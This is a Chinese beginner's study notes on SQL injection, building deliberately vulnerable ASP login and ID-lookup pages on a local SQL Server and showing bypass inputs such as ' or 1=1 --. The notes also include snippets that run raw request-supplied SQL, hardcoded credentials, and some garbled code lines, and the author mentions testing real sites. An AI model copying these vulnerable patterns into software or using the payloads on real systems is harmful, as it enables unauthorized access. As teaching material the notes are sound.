最近我开始较为系统地学习SQL注入,网上由很多关于SQL注入的文章,我也翻了一下,并在自己的机器上进行了调试。学了一段时间后,我决定写一遍适合于新手看的教程,因为教人的同时自己才能进步,顺便把我的理解说出来,希望高手看后能纠正我的错误之处。其实这篇也不能算是教程,只是我的学习笔记。由于是第一次教别人,而且本人武功低微,希望高手不要见笑,并能及时纠正我的错误。
据说在1997年以前国外电脑通信杂志就已经披露了SQL注入这一弱点(感觉到了差距)。透过ASP、PHP和JSP等程序,可以攻击破坏各种SQL数据库(MSSQL、MySQL、Oracle、Sybase和DB2等)。去年动网等论坛程序被陆续发现严重的漏洞,我也根据公布的漏洞测试了一些站点。但我喜欢刨根究底,不满足于只知道怎样入侵,而是想看懂原理。于是有了下面的学习。
调试环境:Windows 2000+IIS 5.0+SQL 2000+ASP
1、 SQL数据库的链接
我们用以下的方法(当然也可以用系统DSN)
<%
set conn=server.CreateObject("ADODB.Connection")
connstr="DRIVER={SQL Server};server=127.0.0.1;UID=test;Password=hacker"
conn.open connstr
set rs=server.CreateObject("ADODB.Recordset")
rs.Open "login",conn
%>
几点说明:(1)此处的用户,如果在企业管理器中建立的SQL帐户,请确定SQL SERVER处于混合验证模式,如果是系统帐户,请在企业管理器中授予合适的权限。
(2)这里的login是自己建立的表,因为第二行connstr字符串没有指定数据库,所以是这个登陆帐户的默认数据库(这里test设置的默认数据库是pubs)。因此要在表login建立在pubs数据库下。
(3)建立了login表后,请在属性-〉权限中给与guest以所有权限(为了方便,这里暂不考虑安全问题),否则下面将不能对表进行操作。
2、 介绍一些对数据库中表的一些基本操作
(假设上面的对象都已经建立)
Response.Write "记录集XX有"&rs.Fields.count&"字段"//显示字段总数
for i=0 to rs.Fields.count-1
Response.Write "
next
rs.MoveFirst //下面打印出所有的记录
while not rs.EOF
row="
for i=0 to rs.Fields.count-1
row=row&"
next
Response.Write row&"
rs.MoveNext
wend
rs.Find="电话=110"//这里是查找
if rs.EOF then
Response.Write "无此名字"
else
Response.Write "查到了。
下面将显示如何在ASP网页中执行SQL语句:
(1)、不返回数据集
sqlstate=request("sql_state")
if sqlstate<>empty then
set conn=server.CreateObject("ADODB.Connection")
connstr="Driver={sql server};server=127.0.0.1;UID=test;Password=hacker"
conn.Open connstr
set cmdobj=server.CreateObject("ADODB.Command")
set cmdobj.ActiveConnection=conn
cmdobj.CommandText=sqlstate
cmdobj.Execute
(2)、返回数据集
方法一:
sql=request("sql")
if sql<>empty then
set conn=server.CreateObject("adodb.connection")
connstr="driver={sql server};server=127.0.0.1;uid=test;password=hacker"
conn.Open connstr
set rs=conn.Execute(sql)
此时 rs就相当于前面的RecordSet对象一样,可以进行相应的操作。
方法二:
sql=request("sql")
if sql<>empty then
set conn=server.CreateObject("adodb.connection")
connstr="driver={sql server};server=127.0.0.1;uid=test;password=hacker"
conn.Open connstr
set rs=server.CreateObject("adodb.recordset")
rs.Open sql,conn
说明:这里的sql即指sql语句,但注意语句中只能用单引号,不要用双引号。
3、 正题:设计一个有漏洞的ASP程序
我建立的login表如下:
Username Password Money
Isml hehe 1000
Father haha 1500
设计一个登陆界面login.htm:
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>
</HEAD>
<center>
<form method=post action="check.asp">
<center>登陆测试界面</center>
UserName:
<input type="text" name=username>
Password:
<input type="password" name=password>
<input type="submit" value="提交">
</form>
</center>
</BODY>
</HTML>
下面是check.asp的代码(要看懂):
<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>
<%
dim strUserName,strPassword,strConn,strSql
strUserName=trim(request("username"))
strPassword=trim(request("password"))
if strUserName="" then
Response.Write "<center>用户名不能为空</center>
</body>"
Response.End
end if
if strPassword="" then
Response.Write "<center>密码不能为空</center>
</body>"
Response.End
end if
set conn=server.CreateObject("ADODB.Connection")
strConn="driver={sql server};server=127.0.0.1;uid=test;password=hacker"
conn.Open strConn
strSql="select * from login where username="&trim(strUserName)&"and password="&trim(strPassword)&""
set rs=server.CreateObject("ADODB.RecordSet")
rs.Open strSql,conn,1,3
if not rs.EOF then
Response.Write "<center>通过验证</center>"
else
Response.Write "<center>密码错误或不存在该用户</center>"
end if
%>
</BODY>
</HTML>
保存好文件后,建立好虚拟目录,就可以测试了。(我没有截图,如果有问题可以发E-mail给我)
用户名:isml 密码:hehe 则通过验证
用户名:isml 密码:123 密码错误或不存在该用户
下面进行简单的SQL Injection攻击:
(1)、尝试输入用户名:isml ‘ -- 密码:(任意)
看到结果了吗?吃惊吧,竟然通过验证!!
下面对代码进行分析:
strUserName=trim(request("username"))
strPassword=trim(request("password"))
获取在login.htm中的输入。
strSql=”select * from login where username="&trim(strUserName)&"and password="&trim(strPassword)&""
这里是漏洞的关键:
假设我们这里输入正确的用户名:isml和密码:hehe,则这句语句就相当于:
strSql="select * from login where username=isml and password=’hehe’”
通过rs.Open strSql,conn,1,3执行,在login表中查找,如果符合这样的项,则rs指向这条记录,所以不满足not rs.eof,因此输出“通过验证”。,否则两项中至少有一项不满足,就会输出“密码错误或不存在该用户”。
现在分析输入用户名isml ‘ -- 密码:123(任意)的情况:
strSql=”select * from login where username=’isml ‘-- ‘ and password=’123’”
注意:--是SQL语句中的注释。因此语句就相当于变成:
strSql=”select * from login where username=’isml’”
显然,只要我们知道有isml这个用户,则我们不需要他的密码就能登陆。
(2)尝试输入用户名:abc(任意) 密码:abc’ 1=1 or – (密码abc任意)
这个用户根本没有注册,应该返回“密码错误或不存在该用户”。但结果却是:“通过验证”
分析:
strSql=”select * from login where username=’abc ‘ and password=’abc’ or 1=1 --’”
看到了吗?虽然不满足username=’abc’ and password=’abc’一项,但1=1显然成立,所以通过了验证。
(3)尝试输入用户名:abc ‘ or 1=1 -- 密码:123(任意)
结果还是通过验证,新手可以自己分析一下。
4、 关键:更加实用的注入方式
上面的方法现在应该很少有用了(不知道对不对),下面再给出一个漏洞程序。
(注意:上面的注入方式也可用下面的方法。)
首先稍微修改一下前面的login表,增加一个ID字段:
ID Username Password Money
1 Isml hehe 1000
2 Father haha 1500
为了区别,表名改为search
下面设计一个页面search.htm,在该页面中输入欲查询的ID,为了能让新手看清楚,我这里用了get方法,代码如下:
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>
</HEAD>
<form method=get action="deal.asp">
<center>请输入要查询的ID号:
<input type="text" name=id>
<input type="submit" value="查找">
</center>
</form>
</BODY>
</HTML>
Deal.asp的源代码如下:
<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>
<%
dim idnumber
idnumber=trim(request("id"))
set conn=server.CreateObject("ADODB.Connection")
connstr="DRIVER={SQL Server};server=127.0.0.1;UID=test;Password=hacker"
conn.open connstr
strSql="select * from search where id="&trim(idnumber)&""
set rs=server.CreateObject("ADODB.RecordSet")
rs.Open strSql,conn,1,3
if not rs.EOF then
Response.Write "<center>找到该ID!!!!</center></body>"
else
Response.Write "<center>找不到ID</center></body>"
end if
%>
</BODY>
</HTML>
其实代码也是相似的,我也不用解释了。
下面我们打开IE,首先输入
http://127.0.0.1/deal.asp?id=1
浏览器显示:找到该ID!!!!
我们再输入:
http://127.0.0.1/deal.asp?id=1’ and 1=1 --
结果怎样?哈哈

